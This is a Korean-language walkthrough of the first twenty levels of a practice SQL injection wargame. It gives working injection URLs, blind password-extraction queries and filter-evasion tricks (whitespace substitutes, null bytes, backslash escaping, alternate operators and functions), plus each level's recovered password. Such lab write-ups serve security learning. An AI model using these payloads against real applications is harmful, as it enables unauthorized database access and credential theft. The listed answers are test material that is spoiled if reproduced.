1번부터 자세하게 적은거 같아서 따로 올릴 필요는 없지만 그래도 정리한겸..
1번-gremlin
id=1'or 1=1 %23
id가 ''으로 문자열 처리 되어있으니까
id=1' 막아두고 모조건 참이 되도록 or 1=1을 입력해준다
2번-cobolt
id값이 있어야 하고 그 id 값은 admin 이여야 하는 문제였다
답:id=admin ' %23
1번과 같은 방식으로 id에 admin을 입력한뒤 그 뒤를 주석처리 해버리면 문제풀이가 가능하다 %23<-은 url 인코딩을 통해서 나오는 # 주석처리의 결과이다
3번-goblin
sql 쿼리의 특징을 보니 select 쿼리 끝에 항상 참인 결과가 들어가면 그 테이블안에있는 모든 칼럼이 출력되는걸 보고
모든 칼럼을 출력을 했다
여기서 이제 생각할건 그 모든 칼럼중에 admin 을 어떻게 출력할거인가 였는데
생각보다 쉽게 풀렸다 order by 1로 한개만 출력할수도 있었고 limit를 사용하여 한개만 출력할수 있었다
답:no=2 or 1=1 order by 1
4번-orc
쿼리문이 2개 쓰인 문제이다
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
보이는 쿼리문에서는 GET[pw] 가 addslashes 로 묶여 버려서 우회가 "절대" 불가능하다
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
이걸 우회해야 답을 풀수 있다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
위 문장을 보면 pw가 값이 입력되야 풀리는걸 볼수있는데
즉 id는 admin 이고 그에 맞는 비밀번호를 구해야한다
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and length(pw)<9 %23
이렇게 pw의 개수를 참 거짓이 출력되는 화면을 보고 구하고
https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and ascii(substr((pw),1,1))<100 %23
아스키 값을 입력하여 값을 하나하나 구해준다
총 길이는 8
답:295d5844
5번-wolfman
띄어쓰기 우회 %09
*SQL Injection 공격시 공백 문자 필터링시 우회 방법
https://los.eagle-jump.org/wolfman_f14e72f8d97e3cb7b8fe02bef1590757.php?pw='or%091=1%09limit%091,1%23
공백문자를 필터링해서 우선 모든 칼럼이 나오게 설정한뒤 limit로 값을 지정해준다
6번-darkelf
or and () 다 못쓰고 항상 참인 경우를 만들기
# =, and, or 필터링 됐을 때
- 각각 like, &&, ||
답:https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw='|| 1=1 limit 1,1 %23
7번-orge
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20length(pw)=8%23 길이 찾고
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=%27||%20id=%27admin%27%20%26%26%20%20ascii(substr((pw),1,1))=54%23
한문자 한문자 검색
and가 필터링 되면 && 써야하는데 url 문자에 걸리기 때문에 %26%26으로 바꿔서 입력해준다
답:6c864dec
8번-troll
' 싱글 쿼터가 preg_match로 막혀있는 문제였다
그래서 도저히 id를 직접 입력할수 없는 문제여서 처음엔 싱글쿼터를 우회를 할수있지 않을까? 라는 생각에 도전을 해보았지만
시간만 잡아 먹었다
그리고 ereg 함수가 보여서 ereg 함수를 우회할 방법을 찾으니까
대소문자 구별을 못하기 때문에 Admin과 같이 하면 우회를 할 수 있다
9번-vampire
str_replace 문자가 있어서 쉽게 우회했다
$_GET[id] = str_replace("admin","",$_GET[id]);
str_replace 우회하기
id=adadminmin
10번-skeleton
https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw='or 1=1 limit 1,1 %23
뒤에
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
1=0을 주석 처리 해버리고
리미트 써서 풀어 주면 답이 출력된다
11번-golem
?pw='|| id like 'admin %26%26 length(pw)<9 %23
길이를 먼저 구해주고 8글자
?pw=%27||%20id%20like%20%27admin%27%20%26%26%20length(pw)<9%20%23
and or =
막힌 문자열을 우회처리해서 값을 구해준다
답:88e3137f
12번-darkknight
pw는 '' 라서 오류를 낼 방법이 없으니까
no로 오류를 발생시켜야한다 no는 숫자라서 space로 오류를 낼수가있다 그래서 오류를 내고 1=1 줘서 모든 값을 출력한다
그다음 쿼리를 쓰기위해서 id='admin' 을 해야하는데 여기서 ' 싱글쿼터를 막아서 id='admin' 조건을 줄수없으니까 no를 활용해야한다
그래서 limit사용해서 구조를 파악하니까 admin은 no가 2가 출력이 되었다
그래서 no=2를주고 ascii랑 substr이 막혀서 각각 ord mid 로 우회해서 값을 찾아 입력하였다
49,99,54,50,98,97,54,102
비밀번호는:1c62ba6f
https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?pw=1&&no=1 or 1 and no like 2 and ord(mid((pw),1,1)) like 49 %23
13번-bugbear
substr,ascii,',공백,and,or,like,=
각각 우회기법
substr=mid
ascii=ord,hex
'=우회 못함
공백=%09
and=%26%26
or=||
=,like = in ()
pw=1&&no=1%09||%09%091%09in%09(1)
admin 위치는 no=2
pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)
그럼 이제 no를 통해서 admin의 패스워드 길이와 값을 구하면된다
pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09length(pw)<9
개수는 8로 구했고
hex 코드 사용해서 하나하나 구해주면 된다
pw=1&&no=1%09||%09%091%09in%09(1)%09%26%26%09no%09in%09(2)%09%26%26%09hex(mid((pw),1,1))<(100)
답:735c2773
14번-giant
공백 문자 우회 문제
%0c
15번-assassin
pw=1234 union all select id from prob_assassion %23
pw=1 union all select id from prob_assassin limit 3,1 %23
https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=832%
like 사용법 8%<-8로 시작되는 모든 것을 검색해라
16번-zombie_assassin
ereg 함수의 취약점
첫바이트에null 값을 집어 넣어 더이상 '(싱글쿼터)를 검색하지 못하게 한다
id=%00'or 1=1%23
17번-succubus
id='\' and pw=''
이럼 \에 의해서 \바로뒤에 있는 '가 끝내는 역할을 하지 못한다
따라서 \' and pw=' 까지가 하나의 문장으로 묶여 버리고
그뒤는 쿼리로 인식할수있다
?id=\&&pw=%20or%201=1%23
18번-nightmare
사용하는 주석처리가 모두 걸려서 우회할수 있는 방법을 찾았는데
;%00 <-이렇게 우회하면 안걸리고 사용이 가능하였다
그럼 pw를 무조건 참으로 만들고 뒤에 주석만 답이 나올것 같았는데
if(strlen($_GET[pw])>6) exit("No Hack ~_~");
여기서 pw의 개수 제한이 걸려서
처음에는 strlen의 우회 기법을 찾아서 풀려고 했지만 아무리 찾아봐도 이걸 우회하는 방법은 따로 없어서
모두 참이 되는 값을 바꿔야 겠다 생각을 했다
'or 1=1 보다 간단한 방법이 많아서
'<1# 을 사용하였다
'<1;%00 이러면 4글자라서 답이 나올줄 알았는데 ()묶여 있어서 답이 나오지 않았다
' 뒤에 ) 괄호로 묶어 주었다.
19번-xavis
pw='or 1=1 and length(pw)=40%23
길이가 40..개
ord(substr((pw),1,1))<200 %23
으로 하나하나 구해보면
184,249,197,176,198,208,196,161,164,187,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
아스키 코드 확장값 보고 풀었습니다
¸uA°ÆÐA¡¤≫
20번-dragon
#뒤는 한줄 주석이라서 개행해서 풀어야 했다
%0a<- 개행 문자
줄 바꾼뒤 id='admin' 으로 하면 guest랑 admin 모두 출력되니까
limit로 admin 계정 위치만 잡아주면 답이 나왔다.
pw='%0a or 1=1 and id='admin' limit 1,1 %23